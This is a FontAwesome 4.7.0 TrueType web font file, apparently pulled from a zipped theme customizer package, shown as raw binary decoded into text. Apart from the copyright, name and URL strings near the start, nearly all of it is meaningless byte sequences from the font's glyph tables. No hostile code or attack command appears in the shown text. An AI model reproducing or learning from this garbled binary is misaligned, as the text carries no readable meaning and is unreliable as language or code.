	                                                                                   x @  8       !"""`>N^fin~'(.>N^n~>N^n~          !"""` !@P`gjp  ()0@P`p !@P`p   \QA0ޕR
	       v                           ^                                                                                                 %|_<      O<0    1h	                 	 	                p   v    _                         ]                              y n                       2                           @                                                                                              z                    Z                                @    5 5                                           Z  Z          @                                                                    ,  _                 @                                                       f                                @         	            @                        (                                      @            @      @        -   M M -  M M                  @                                 @  @  -                 b                                                           5                                           -            8                                   @                  D           @                   ,              *     @                                                 	     m                        )                 @    @   	                                	                                   '                      D     9                 >                              d  U     *       #	   	   	   	   	   	                                             	                                                           	                                                                                        R	      	   	   	   	   	            	         	   	      	                                                 @   	     e     	                                               %                 R           E	            	      	     $                     k  (                  D    '	          	          %                  	                %	                                         	                                                        0  $    .       $                                 P              /          /        :        /        K        /       Q ]              	 
                   	   ^   	  U  	  k  	  "y  	  U  	  $  	  U  	    	  a  	 	 y  	  *  	  <Copyright Dave Gandy 2016. All rights reserved.FontAwesomeFONTLAB:OTFEXPORTVersion 4.7.0 2016Please refer to the Copyright section for the font trademark attribution notices.Fort AwesomeDave Gandyhttp://fontawesome.iohttp://fontawesome.io/license/ C o p y r i g h t   D a v e   G a n d y   2 0 1 6 .   A l l   r i g h t s   r e s e r v e d . F o n t A w e s o m e R e g u l a r F O N T L A B : O T F E X P O R T V e r s i o n   4 . 7 . 0   2 0 1 6 P l e a s e   r e f e r   t o   t h e   C o p y r i g h t   s e c t i o n   f o r   t h e   f o n t   t r a d e m a r k   a t t r i b u t i o n   n o t i c e s . F o r t   A w e s o m e D a v e   G a n d y h t t p : / / f o n t a w e s o m e . i o h t t p : / / f o n t a w e s o m e . i o / l i c e n s e /                                  PK     0w\\DŬ  K  customizer/framework/assets/font/font-awesome/fonts/fontawesome-webfont.ttfnu [               PFFTMkG    GDEF  p    OS/22z@  X   `cmap
:    gasp  h   glyfM   Lhead-      6hhea
     $hmtxEy    
loca\    maxp,  8    name㗋 gh  post k  u    ːxY_<      32    32 	                 	 	                   '            @       i   3   3  s                              pyrs @                          p    U                                 ]                              y n                       2                           @                    
                                                                           z                     Z                                @    5 5             z                                  Z  Z          @                                                                    ,  _                 @                                              s                               @         	            @                        (                                     @            @      @        -   M M -  M M                  @                                 @  @  -              `   b                 $                                       6                                         4           8       " "  "  "  "  "                  @                  D         @                   ,              ,     @                                                 	     m                        )                 @    @   	                                	                                   '                      D     9                   >                              d  Y     *     	  '	   	   	   	   	   	                                             	                                                           	                                                                                   T	      	   	   	   	   	            	         	   	      	                                                 @   	     f     	                                              %                 R           E	            	      	     $                    !  k  (                   D    '	         	         %                 	                %	                                         	                                                       0  %    /       &                                                      p @  0       !"""`>N^n~.>N^n~>N^n~          !"""` !@P`p  0@P`p !@P`p \XSB1ݬ
	                                                                                                                                                                                                                                                                                       
	                                                                                        ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,   ,         t    L    T  $    l  	x  	  
T  (      d             l  ,          4    d    p  H    $  d  ,    t  (        !  "0  #   $,  $  &D  '  (  )T  *  *  ,  ,  -  .@  .  /`  /  0  0  1  2  3d  44  4  5   5  5  6   6\  6  7H  7  8  8`  8  9L  9  :h  :  ;  <p  =p  ><  >  ?h  ?  @H  @  A0  A  BX  B  Cd  C  DL  D  E  F  G0  G  H  I  J8  K  L  Md  N,  N  N  O  P`  P  Q4  Q  R  Rl  S,  S  T`  U0  W  X  Z  [@  [  \<  \  ]  ^(  ^  _  `p  b,  b  d  d  eP  e  f  g`  g  iL  i  jD  k  k  l  m@  n,  oL  p  q  r  sx  t  t  uD  {`  |   |  }  }  ~          H          l  @            l  H       T    H        `      @      $  \  X    D        T  X      D  P  ,    8    d  \                    H    x       t    X    p     d          x  t              @            \     ļ    Ÿ  Ɣ  0    d    ʨ  ˀ      ͔  x    ϰ  Ќ  ,  ш    ҈    ӌ    8  ,  ՜  `    l  H  ش  `    T  ڸ    ۔  @    l    ބ    ߬    l  p                                       4        X    $  l    (      `               	d 
 
    ,    ,   8   (  X    x | T  @    |   ! "x # #l $ $ 'h ( *L ,T .L 1t 1 2 30 3 4 5t 6T 7$ 8 9H : : ; < < ?X @ A B C D EH FH Gp HH Ix J  J K L M N@ P@ Q R SD T  UL V` V WX X4 X Z Z [d [ \| ] ^ ` aH a b cX d et fh g h i\ jx n p@ s v w x y z {h | } } \   l t  4     t  8 8  L  T         |     |     4 x   L      X (           @   l  t   $   x L L    H     Ġ T (    ʈ ˠ   ϔ l d  P  Մ x p   ڬ T T   ވ L     < H  $  l    4          P l   ,  x  p , x t  d   4   4  , h  P 	4 
    4  < , , 4 0 8 $  8  T   | !h " $L %0 &H ' ( ) *0 * + , .$ . 0 1 2@ 2 3 4t 5$ 6 9  : : ; ; <( < =4 ? @ A C D F H` H I L L L L L L L L L L L L L L L L  p       7!!!@pp p       ]    !2#!"&463!&54>3!2+@&&&&@+$(($F#+ &4&&4& x+#       +  ".4>32".4>32467632 DhgZghDDhg-iW DhgZghDDhg-iW&@(8 2N++NdN+';2N++NdN+'3
 8      !        #"'#"$&6$ rL46$܏ooo|W%r4L&V|oooܳ%        = M  %+".'&%&'3!26<.#!";2>767>7#!"&5463!2 %3@m00m@3% @:"7..7":6]^B@B^^BB^  $΄+0110+$ (	
t1%%1+`B^^B@B^^        "'.54632>324
#L</>oP$$Po>Z$_dC+I@$$@I+     "  #"'%#"&547&547%62V??V8<8yb%	I))9I	       	 +  	%%#"'%#"&547&547%62q2ZZ2IzyV)??V8<8)>~>[
2b%	I))9I	         %#!"&54>3 72  &6  }XX}.GuLlLuG. >mmUmEEm>         / ? O _ o      54&+";2654&+";2654&+";264&#!"3!2654&+";2654&+";264&#!"3!2654&+";2654&+";2654&+";267#!"&5463!2&&&&&&&&&&&& & && & &&&&&&&&& && &&&&&&&&&&&&&^BB^^B@B^@&&&&&&&&&&&& && &&&&&&&&&& && &&&&&&&&&&&&&&B^^B@B^^        / ?  #!"&5463!2#!"&5463!2#!"&5463!2#!"&5463!2 L4 4LL4 4LL4 4LL4 4LL4 4LL4 4LL4 4LL4 4L 4LL44LL4LL44LL4LL44LL4LL44LL 	        / ? O _ o    #!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 8((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(8 (88((88(88((88(88((88(88((88(88((88(88((88(88((88(88((88(88((88          / ? O _  #!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 8((88(@(88((88(@(8 8(@(88((8 8((88(@(8 8(@(88((88(@(88((8 (88((88(88((88(88((88(88((88(88((88(88((88    y     "/&4?62	62,PP&PP,jP  n #  $"'	"/&47	&4?62	62	PP&P&&P&P&P&&P&P      # + D  ++"&=#"&=46;546;232      #"'#"$&6$  @@rK56$܏ooo|W@@rjK&V|oooܳ        0  #!"&=463!2      #"'#"$&6$  @rK56$܏ooo|W@@rjK&V|oooܳ         ) 5   $&54762>54&'.7>"&5462 zz+i *bkQнQkb* j*LhLLhLzzBm +*i JyhQQhyJ i*+ mJ4LL44LL          / ? O  %+"&=46;2%+"&546;2%+"&546;2+"&546;2+"&546;2 `r@@r@@        n   4&"2#"/+"&/&'#"'&'&547>7&/.=46?67&'&547>3267676;27632 Ԗ#H
	,/1)
~'H(C
	,/1)	$HԖԖm6%2X
%	l2k	r6
[21..9Q
$
k2k	
w3[20       / ; C g  +"&546;2+"&546;2+"&546;2!3!2>!'&'!+#!"&5#"&=463!7>3!2!2 @@ @@ @@@`0

o`^BB^`5FN(@(NF5 @@@L%%Ju		@LSyuS@%44%       f  5  #!!!"&5465	7#"'	'&/&6762546;2& &??>LL>
 X 
  &&&AJ	A	J
Wh          #  #!"&5463!2!&'&!"&5!(8((88((`x
c`(8 `((88(@(8(D9 8(           ,  #!"&=46;46;2 .  6  $$ @(r^aa@@`(_^aa    2  N   C  5.+";26#!26'.#!"3!"547>3!";26/.#!2W.@@.$SS$@9I  I6>>         % =  $4&"2$4&"2#!"&5463!2?!2"'&763!463!2!2 &4&&4&&4&&48(@(88(ч::(8@6@* & & *4&&4&&4&&4& (88(@(8888)@)'&&@      $ 0  "'&76;46;232  >& $$ `
(r^aa`		@`2(^aa         $ 0  ++"&5#"&54762  >& $$ ^
?@(r^aa`?		(^aa         #  !.'!!!%#!"&547>3!2<<<_@`&&
5@5
@&&>=(""=       '   #"'&5476.  6  $$    ! (r^aaJ	%%(_^aa     3  #!"'&?&#"3267672#"$&6$3276 &@*hQQhwI
	mʬzzk)' @&('QнQh_
	
z8zoe      $ G   !"$'"&5463!23267676;2#!"&4?&#"+"&= !2762@hk4&&&GaF*&@&ɆF*Ak4&nf&&&4BHrd@&&4rdMoe&            / ? O _ o   +"&=46;25+"&=46;25+"&=46;2#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!26#!"&5463!2@@@@@@@@@@^B@B^^BB^`@@@@@@@@@@@@3@MB^^B@B^^         !54&"#!"&546;54   32@ Ԗ@8(@(88( p (8 jj(88(@(88   @   7  +"&5&5462#".#"#"&5476763232>32@@@@KjKך=}\I&:k~&26]S& H&&H5KKut,4,	& x:;*4*&        K  #+"&546;227654$ >3546;2+"&="&/&546$ <X@@Gv"DװD"vG@@X<4L41!Sk @ G<_bb_<G  kS!1zz          "'!"&5463!62 &4&&M4&&M&&M&          -  "'!"&5463!62 #"&54>4.54632 &4&&M4&UF
&""""&
F&M&&M&%/B/%      G  - I k  "'!"&5463!62 #"&54>4.54632#"&54767>4&'&'&54632#"&547>7676'&'.'&54632 &4&&M4&UF
&""""&
FU&'8JSSJ8'&&'.${{$.'&&M&&M&%/B/%7;&'66'&;4[&$[2[$&[              # / 3 7  #5#5!#5!!!!!!!#5!#5!5##!35!!!                        # ' + / 3 7 ; ?  3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3????  ^>>~??????~??~??^??^^?  ^??          4&"2#"'.5463!2KjKKjv%'45%5&5L45&%jKKjK@5%%%%54L5&6'      k   5   4&"2#"'.5463!2#"&'654'.#32KjKKjv%'45%5&5L45&%%'4$.%%5&55&%jKKjK@5%%%%54L5&6'45%%%54'&55&6'  
y T d t  #!"&'&74676&7>7>76&7>7>76&7>7>76&7>7>63!2#!"3!2676'3!26?6&#!"3!26?6&#!"g(sAeM,*$/!'&JP$G]
x6,&`h`"9Hv@WkNC<.
&k&
("$p"	.#u&#	%!'	pJvwEF#@@        2#"'	#"'.546763!''!0#GG$/!''!	8""8 X!	8"	"8	          <  )!!#"&=! 4&"27+#!"&=#"&546;463!232(8&4&&48(@(8qO@8((`(@Oq 8(&4&&4&@`(88(Oq (8(`( q      ! )   2"&42#!"&546;7>3!2      Ijjjj3e5 5e3gr`Ijjjj1GG1r        P  2327&7>7;"&#"4?2>54.'%3"&#"#ժ!9&WB03&K5!)V?@L'	>R>e;&L::%P>vO
'h N_":-&+#
:	'	      + a  %3 4'.#"32>54.#"7>7><5'./6$3232#"&#"+JBx)EB_I:I*CRzb3:dtB2P$$5.3bZF|\8!-T>5Fu\,,jn OrB,<!
54wJ]?tTFi;23j.p^%/2+	S:T}K4W9: #ƕdfE     :  7>7676'5.'732>7"#"&#&#"OAzj=N!}:0e%	y+tD3~U#B4#g		'2
%/!:T	bRU,7        }  %2"/&6;#"&?62+326323!2>?23&'.'.#"&"$#"#&=>764=464.'&#"&'!~:~!PP!~:~!P6,,$$%*'c2N 	
($"LA23Yl!x!*%% %% pP,T	NE	Q7^oH!+(
3	 *Ueeuwg      a   32632$?23&'.5&'&#"&"5$#"#&=>7>4&54&54>.'&#"&'2#".465!#".'&47>32!4&4>Q6,,Fa w!*'
=~Pl*	
($"LA23Yl	)!*<7@@7< <7@@7<  pP,T	MFQ747ƢHoH!+(
3	 tJHQ6wh',686,'$##$',686,'$##$          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && & & && &&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&& &&&&&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && && && &&&&&&&&&f&&&&f&&&&f&&&&            / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&f&&&&f&&&&f&&&&            / ? O _ o   %+"&=46;2+"&=46;2+"&=46;2#!"&=463!2+"&=46;2#!"&=463!2#!"&=463!2#!"&=463!2  @  @@@sssss          / ? O  #"'&47632#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2			 	@@@@	 		 	sss         / ? O   #"&54632	#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2`			 @@@@		@		sss           #"'#!"&5463!2632 'mw@www'*wwww          .   "&462!5	!"3!2654&#!"&5463!2pppp@  @^BB^^B@B^ppp@@  @ @B^^BB^^   k    %  !7'34#"3276'	!7632k[[v

6`%`$65&%[[k
`5%&&'          4&"2"&'&54    Ԗ!?H?!,,ԖԖ mF!&&!Fm,        %"  $$  ^aa`@^aa           -  4'.'&"26%   547>7>2 "KjK XQqYn	243nYqQ$!+!77!+!$5KK,ԑ	]""]ً	        9 > H  7'3 &7#!"&5463!2'&#!"3!26=4?6	!762xtt`   ^Qwww@?61B^^B@B^	@(` `\\\P`tt8`  ^Ͼww@w1^BB^^B~	@` \ \P          + Z  #!"&5463!12+"3!26=47676#"'&=# #"'.54>;547632www M8
pB^^B@B^'sw-

9*##;Noj'#ww@w"^BB^^B
	*"g`81T`PSA:'*4       / D  #!"&5463!2#"'&#!"3!26=4?632"'&4?62	62www@?61
B^^B@B^	@
BRnBBn^ww@w1
^BB^^B	@
BnnB          C   "&=!32"'&46;!"'&4762!#"&4762+!5462  4&& 4 &&4  4&& 4 &&4 4 &&4  4&& 4 &&4  4&&        6'&'+"&546;267:	&&&&	s@	
Z&&&&Z
	     +  6'&''&'+"&546;267667:	:	&&&&		s@	
:	
Z&&&&Z
	:
	  z   6'&''&47667S:	:	s@	
:4:
	    |   	&546h!!0a$           #!"&5463!2#!"&5463!2 & && && && &@&&&&&&&&          #!"&5463!2 &&&&@&&&&         &54646&5-	:	s:	
:4:
	        +  &5464646;2+"&5&5-		&&&&	:	s:	
:	
&&&&
	:
	         &54646;2+"&5-	&&&&	s:	
&&&&
	          62#!"&!"&5463!24@&&&&-:& && &        	"'&476244444     Zf   	"/&47	&4?62S44444       # /  54&#!4&+"!"3!;265!26  $$ & && && && &@^aa@& && && && &+^aa        54&#!"3!26  $$ & && &@^aa@&&&&+^aa       + 7  4/7654/&#"'&#"32?32?6  $$ }ZZZZ^aaZZZZ^aa      #  4/&"'&"327> $$ [4h4[j^aa"ZiZJ^aa      : F  %54&+";264.#"32767632;265467>$ $$  oW	5!"40K(0?i+! ":^aaXRdD4!&.uC$=1/J=^aa       . :  %54&+4&#!";#"3!2654&+";26 $$  ```^aa ^aa      / _  #"&=46;.'+"&=32+546;2>++"&=.'#"&=46;>7546;232m&&m l&&l m&&m l&&ls&%&&%&&%&&%& &&l m&&m l&&l m&&m ,&%&&%&&%&&%&        # / ;  "/"/&4?'&4?627626.  6  $$ I














͒(r^aaɒ














(_^aa           ,  	"'&4?6262.  6  $$ Z4f44fz(r^aaZ&4ff4(_^aa        	  "  4'32>&#"  $&6$  WoɒV󇥔 zzz8YW˼[?zz:zz   @5 K    #!#"'&547632!2 A4@%&&K%54'u%%&54&K&&4A5K$l$L%%%54'&&J&j&K    5K    #"/&47!"&=463!&4?632%u'43'K&&%@4AA4&&K&45&%@6%u%%K&j&%K55K&$l$K&&u#   5K@ !  #"'+"&5"/&547632K%K&56$K55K$l$K&&#76%%53'K&&%@4AA4&&K&45&%%u'     5K "  #"'&54?63246;2632K%u'45%u&&J'45%&L44L&%54'K%5%t%%$65&K%%4LL4@&%%K'      ,   "&5#"#"'.'547!3462  4&bqb>#5&4 4 & 6Uue7D#		"ǆ &        /   #!"&546262"/"/&47'&463!2
&@&&4L

r&4

r

L&&
4&&&L

rI@&

r

L4&&     s  /  "/"/&47'&463!2 #!"&546262 &4

r

L&&
&@&&4L

r@@&

r

L4&&
4&&&L

r         #  #!+"&5!"&=463!46;2!28(`8((8`(88(8((8(8 (8`(88(8((8(88(`8          #!"&=463!28(@(88((8 (88((88   z 5  '%+"&5&/&67-.?>46;2%6.@g.L44L.g@.
.@g.
L44L
.g@.g.n.4LL43.n.gg.n.34LL4͙.n.g        -     $54&+";264'&+";26/a^



^aafm
        @    J  %55!;263'&#"$4&#"32+#!"&5#"&5463!"&46327632#!2$$8~+(888(+}(`8((8`]]k==k]]8,8e8P88P8`(88(@MM        N   4&#"327>76$32 #"'.#"#"&'.54>54&'&54>7>7>32 &z&^&./+>+)>J>	Wm7'
'"''? &4&c&^|h_bml/J@L@#*#M6:D
35sҟw$	'%
'	\t          3  #!"&=463!2'.54>54''@ 1O``O1CZZ71O``O1BZZ7@@N]SHH[3`)TtbN]SHH[3^)Tt           ! 1  &'   547 $ 4&#"2654632    '&476   ==嘅}(zVl''ٌ@uhyyhu9(}VzD##D#     	  = C U  %7.547 4&#"2654632% #"'&547.'&476 !27632#76$7&'7+NWb=嘧}(zVj\i1
z,XY[6
$!%'FuJiys?_9ɍ?kyhun(}VzYF
KA؉La
02-F"@Qsp@_        ! 3  %54&+";264'&+";26#!"&'&7>2 

 #%;" ";%# <F<7
??""??$$     ll 2  #"'&'	+&/&'&?632	&'&?67>`,@L5`		
`	L`4LH``	a	5L@              # 3 7 ; ? O s  !!!!%!!!!%!!!!!!!!%!!4&+";26!!%!!!!74&+";26%#!"&546;546;2!546;232 `@ `@ @@  @@@ @  @@L44LL4^B@B^^B@B^4L  @@@@      @@  @@   M 4LL4 4L`B^^B``B^^B`L        7 q  .+"&=46;2 #"&=".'673!54632#"&=!"+"&=46;2>767>3!54632<M33K,		 j8Z4L2B4:;M33K, ?			 0N<* .)C=W]xD0N<* .)C=W]xD ?\-7H)		".=']-7H)
w		<?.>mBZxPV3!<?.>mBZxPV3!
         &   #"'&'5&6&>7>7&54>$32 dFK1A
0)L.٫C58.H(Ye      # 3 C   $=463!22>=463!2#!"&5463!2#!"&5463!2 H&&/<R.*.R</&& &&&& &&&&Bɀ&&4L&&L4&&f&&&&&&&&     Z     %"'	"/&4762444ͥ55     Z   	"'&4?62	6244455        % K  %#!".<=#"&54762+!2"'&546;!"/&5463!232 @&@<@&@	:&	& 
&&
&	
`&          :  $"&462"&462!2#!"&54>7#"&463!2!2LhLLhLhLLh!&& &&& &4hLLhLLhLLhL %z<
0&4&&)17&4&&&           #!"&5463!2!2\@\\@\\@\\\\         W  *  #!"&547>3!2!"4&5463!2!2W+B"5P+B@"5^=\@\ \H#t3G#3G:_Ht\\     @      +32"'&46;#"&4762&& 4 && 4 4& &4  4& &4       @     "&=!"'&4762!5462  4& &4  4& &4 4 && 4 &&              !!!3!!                    0 @  67&#".'&'#"'#"'32>54'6#!"&5463!2 8ADAE=\W{O[/5dIkDtpČe1?*w@www	(M&B{Wta28r=Ku?RZ^GwT	-@www       $  2+37#546375&#"#3!"&5463ww/Dz?swww@wS88	ww           # ' . >   4&#"26546326"&462!5! &  !5!!=!!%#!"&5463!2B^8(Ԗ  > @|K5 5KK5 5K^B(8ԖԖ>v 5KK5 5KK   H  G   4&"&#"2654'32#".'#"'#"&54$327.54632@pp)*Pppp)*Pb	'"+`N*(a;2̓c`." b
PTY9ppP*)pppP*) b ".`(*Nͣ2ͣ`+"'	b
MRZB               4&"24&"264&"26#"/+"&/&'#"'&547>7&/.=46?67&'&547>3267676;27632#"&'"'#"'&547&'&=4767&547>32626?2#"&'"'#"'&547&'&=4767&547>32626?2ԖLhLKjKLhLKjK	"8w
s%(")v

>
	"8x
s"+")v
<
3zLLz33>8L3)x33zLLz33>8L3)x3ԖԖ 4LL45KK54LL45KK
#)0C	wZl/

Y	
N,&
#)0C	vZl.

YL0"qG^^Gqq$ ]G)FqqG^^Gqq$ ]G)Fq         % O   #"'#"&'&4>7>7.546$ '&'&'# '32$7>54'VZ|$2$
|E~E<|
$2$|ZV:(t}X(	&%(Hw쉉xH(%&	(XZT\MKG        < m  $4&"24&#!4654&#+32;254'>4'654&'>7+"&'&#!"&5463!6767>763232 &4&&4N2`@`%)7&,$)'  %/0Ӄy#5 +1	&<$]`{t5KK5$e:1&+'3TF0h4&&4&3M:;b^v+D2 5#$IIJ 2E=\$YJ!$MCeM-+(K55KK5y*%Au]c         > q   4&"24&'>54'654&'654&+"+322654&5!267+#"'.'&'&'!"&5463!27>;2 &4&&4+ 5#bW0/%  ')$,&7)%`@``2Nh0##T3'"(0;e$5KK5 tip<&	1&4&&4& #\=E2&%IURI$#5 2D+v^b;:M2gc]vDEA%!bSV2MK55K(,,MeCM$!I     @   #"&547&547%6@?V8b%	I)         9  4.""'."	67"'.54632>32+C`\hxeH>Hexh\`C+ED4
#L</>oP$$Po>Q|I.3MCCM3.I|Q/Z$_dC+I@$$@I+           ( @  %#!"&5463!2#!"3!: "&5!"&5463!462ww@B^^B 
4&@&&&4 ` ww ^B@B^24& && &        % 5  73#7.";2634&#"35#347>32#!"&5463!2FtIG9;HIxI<,tԩw@wwwz4DD43EEueB&#1s@www      .  4&"26#!+"'!"&5463"&463!2#2&S3Ll&c4LL44LL4c@&&{ LhLLhL           ' ?  #!"&5463!2#!"3!26546;2"/"/&47'&463!2www@B^^B@B^@&4t

r

& &`ww@w@^BB^^B@R &t

r

4&&         @   "&5!"&5463!462	#!"&54&>3!2654&#!*.54&>3!24&@&&&4 sw@B^^B
@w4& && &3@w ^BB^       I  &5!%5!>732#!"&=4632654&'&'.=463!5463!2!2J  JSq*5&=CKuuKC=&5*q͍S8( ^B@B^ (8`N`Ѣ΀GtO6)"M36J[E@@E[J63M")6OtG(8`B^^B`8   	        ' , 2    6'&'&76'6'&6&'&6'&4#"7&64   654'.'&'.63226767.547&7662>76#!"&5463!2		/[		.
=XĚ4,+"*+, 1JH'5G::#L5+@=&# w@wwwP.1GE,ԧ44+	;/5cFO:>JJ>:O9W5$@(b4@www      ' ?  $4&"2$4&"2#!"&5463!3!267!2#!#!"&5!"'&762 &4&&4&&4&&48(@(88(c= =c(8* & & *6&4&&4&&4&&4& (88(@(88HH88`(@&&('@       1 c  4&'.54654'&#"#"&#"32632327>7#"&#"#"&54654&54>76763232632


	N<;+gC8A`1a99gw|98aIe$IVNz<:LQJ
,-[%	061I()W,$-7,oIX()oζA;=N0
eTZ	 (       O  #".'&'& '&'.54767>3232>32e^\4?P	bMO0#382W#& 9C9
Lĉ"	82<*9FF(W283#0OMb	P?4\^eFF9*<28	"L
9C9 &#           !"3!2654&#!"&5463!2`B^^B@B^^ީwww@w ^BB^^B@B^ww@w      #  !72#"'	#"'.546763 YY!''!0#GG$/!''! &UUjZ	8""8 X!	8"	"8	        G W  4.'.#"#".'.'.54>54.'.#" 32676#!"&5463!2  1.-
+$)c8)1)

05.D<90)$9 w@wwwW

)1)7c)$+
-.1 9$)0<D.59@www  ,  T  1  # '327.'327.=.547&54632676TC_LҬ#+i!+*pDNBN,y[`m`%i]hbEm}au&,SXK
&$f9s?
    _    #"!#!#!54632V<%' ЭHH	(ں       T \ d k s z       &54654'>54'6'&&"."&'./"?'& 546'&6'&6'&6'&6'&74"727&6/a49[aA)O%-j'&]]5r-%O)@a[9'
0BA;+

>HCU


	#	
	
$				2	AC: oM=a-6OUwW[q	( -	q[WwUP6$C

+) (	
8&/&eMa	
&$	        %  +"&54&"32#!"&5463!54   &@&Ԗ`(88(@(88(r && jj8((88(@(8        # ' +  2#!"&5463"!54&#265!375!35!B^^BB^^B` ^B@B^^BB^ `       ! =   "&462+"&'& '.=476;+"&'& $'.=476;pppp$!$qr%}#ߺppp!E$rqܢ#%ֻ!           ) ?   "&462"&4624&#!"3!26!.#!"#!"&547>3!2/B//B//B//B@2^B@B^\77\aB//B//B//B/@~B^^B@2^5BB52     . 4  2## %&'.67#"&=463! 2 5KK5L4_u:B&1/&.-
zB^^B4LvyKjK4L[!^k'!A3;):2*<vTq6^BB^L4$)*    @     A  4#"&54"3! 4."#!"&5!"&5>547&5462;U gIv0ZZ0L4@Ԗ@4L2RX='8P8'=XR U;Ig0,3lb??bl34LjjL4*\(88(\    } I  /#"/'&/'&?'&'&?'&76?'&7676767676`
(5)0
)*)
0)5(

(5)0
))))
0)5(
*)
0)5(
)5)0
)**)
0)5)

)5)0
)*      5 h  $4&"24&#!4>54&#"+323254'>4'654&'!267+#"'&#!"&5463!2>767>32!2 &4&&4N2$YGB(HGEG  HQ#5K4Li!<;5KK5 
A#("/?&}vh4&&4&3M95S+C=,@QQ9@@IJ 2E=L5i>9eME;K55K	J7R>@#zD<      5 = q  %3#".'&'&'&'.#"!"3!32>$4&"2#!"#"&?&547&'#"&5463!&546323!2`  #A<(H(GY$2NL4K5#aWTƾh&4&&4K5;=!ihv}&?/"(#A
 5K2*!	Q@.'!&=C+S59M34L=E2 JI UR@@&4&&4&5K;ELf9>ig<Dz#@>R7J	K          5 h  4&"24#"."&#"4&#"".#"!54>7#!"&54.'&'.5463246326326 &4&&4IJ 2E=L43M95S+C=,@QQ9@@E;K55K	J7R>@#zD<gi>9eMZ4&&4&<#5K4LN2$YGB(HGEG  HV;5KK5 
A#("/?&}vhi!<         4 < p  4.=!32>332653272673264&"2/#"'#"&5#"&54>767>5463!2@@2*!	Q@.'!&=C+S59M34L.9E2 JI UR&4&&4&Lf6Aig6Jy#@>R7J	K55K;E@TƾH  #A<(H(GY$2NL4K#5#a=4&&4&D=ihv}&?/"(#A
 5KK5;         +  54&#!764/&"2?64/!26  $$  &
[6[[j6[& ^aa@&4[[6[[6&+^aa        +   4/&"!"3!277$ $$ [6[
&&[6j[^aae6[j[6&&4[j[^aa      +   4''&"2?;2652?$ $$ [6[[6&&4[^aaf6j[[6[
&&[^aa      +   4/&"4&+"'&"2?  $$ [6&&4[j[6[j^aad6[&&
[6[[j ^aa             $2>767676&67>?&'4&'.'.'."#&6'&6&'3.'.&'&'&&'&6'&>567>#7>7636''&'&&'.'"6&'6'..'/"&'&76.'7>767&.'"76.7"7"#76'&'.'2#22676767765'4.6326&'.'&'"'>7>&&'.54>'>7>67&'&#674&7767>&/45'.67>76'27".#6'>776'>7647>?6#76'6&'676'&67.'&'6.'.#&'.&6'&.5/a^D&"	


	4	$!	#	
		
	


 
.0"Y
	+!	
	
$		"+


		
	Α	
		^aa
	

					

		
			P '-(	#	*	$
"!				*
!	
(				
	
$
		
2   ~   /  $4&"2	#"/&547#"  32>32&4&&4V%54'j&&'/덹:,{	&4&&4&V%%l$65&b'Cr!"k[G             + ;  %!5!!5!!5!#!"&5463!2#!"&5463!2#!"&5463!2    &&&&&&&&&&&&@ && && && && && &&   {    #"'&5&763!2{' * *)* )'             /  !5!#!"&5!3!26=#!5!463!5463!2!2  ^B@B^&@&`   ^B`8(@(8`B^   B^^B&&B^(88(^      G  	76#!"'&?	#!"&5476	#"'&5463!2	'&763!2#"'c)'&@**@&('c(&*cc*&'*@&('c'(&*cc*&('c'(&@*        1 9 A S [  #"&532327#!"&54>322>32 "&462  &6 +&'654'32>32"&462QgRp|Kx;CByy 6Fe=
BPPB
=eF6  ԖV>!pRgQBC;xK|Ԗ{QNa*+%xx5eud_C(+5++5+(C_due2ԖԖ>NQ{u%+*jԖԖ     p ! C i  4/&#"#".'32?64/&#"327.546326 #"/&547'#"/&4?632632(* 8(!)(A(')* 8(!USxySSXXVzxTTUSxySSXXVzxT@( (8 *(('((8 SSUSx{VXXTTSSUSx{VXXT        #!" 5467&54 32632t,Ԟ;F`j)6,>jK?  s  !  %#!"&7#"&463!2+!'5#8EjjE8@&& &&@XYY&4&&4&qDS%q%         N \ j x     2"&4#"'#"'&7>76326?'&'#"'.'&676326326&'&#"32>'&#"3254?''74&&4&lNnbSVZbRSD	zz	DSRb)+USbn\.2Q\dJ'.2Q\dJ.Q2.'Jd\Q2.'Jd`!O` 	`&4&&4r$#@B10M5TNT{L5T	II	T5L;l'OT4M01B@#$*3;$*3;;3*$;3*$:$/ @@Qq`@         " % 3 <  2#!"&5!"&5467>3!263!	!!#!!46!#!(88(@(8(8(`((8D<++<8(` (8(`8(@(88( 8((`(8((<`(8 (``(8    || ?  %#"'&54632#"'&#"32654'&#"#"'&54632|udqܟs]
=
OfjL?R@T?"&
>
f?rRX=Edudsq
=
_MjiL?T@R?E& f
>
=XRr?b      ! 1 E  )!34&'.##!"&5#3463!24&+";26#!"&5463!2  

08((88(@(88((88((`(1

`(88( (88( @`(88(@(8(`         #!"&5463!2 w@www`@www             /  %#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&&&&&    @    ' 7 G  $"&462"&462#!"&=463!2 "&462#!"&=463!2#!"&=463!2ppppppp@ppp@@Рppppppppp         < L \ l |  #"'732654'>75"##5!!&54>54&#"'>3235#!"&=463!2!5346=#'73#!"&=463!2#!"&=463!2}mQjB919+i1$AjM_3</BB/.#U_:IdDRE@k*Gj@@TP\BX-@8
C)5XsJ@$3T4+,:;39SG2S.7<vcc))%Ll}         5 e  2#!"&=463%&'&5476!2/&'&#"!#"/&'&=4'&?5732767654'&@02uBo
T25XzrDCBBEh:%)0%HPIP{rQ9f#-+>;I@KM-/Q"@@@#-bZ$&P{<8[;:XICC>. '5oe80#.0(l0&%,"J&9%$<=DTI     c s  &/6323276727#"327676767654./&'&'737#"'&'&'&54'&54&#!"3!260%<4"VRt8<@<-#=XYhW8+0$"+dTLx-'I&JKkmuw<=V@!X@		v'|N;!/!$8:IObV;C#V
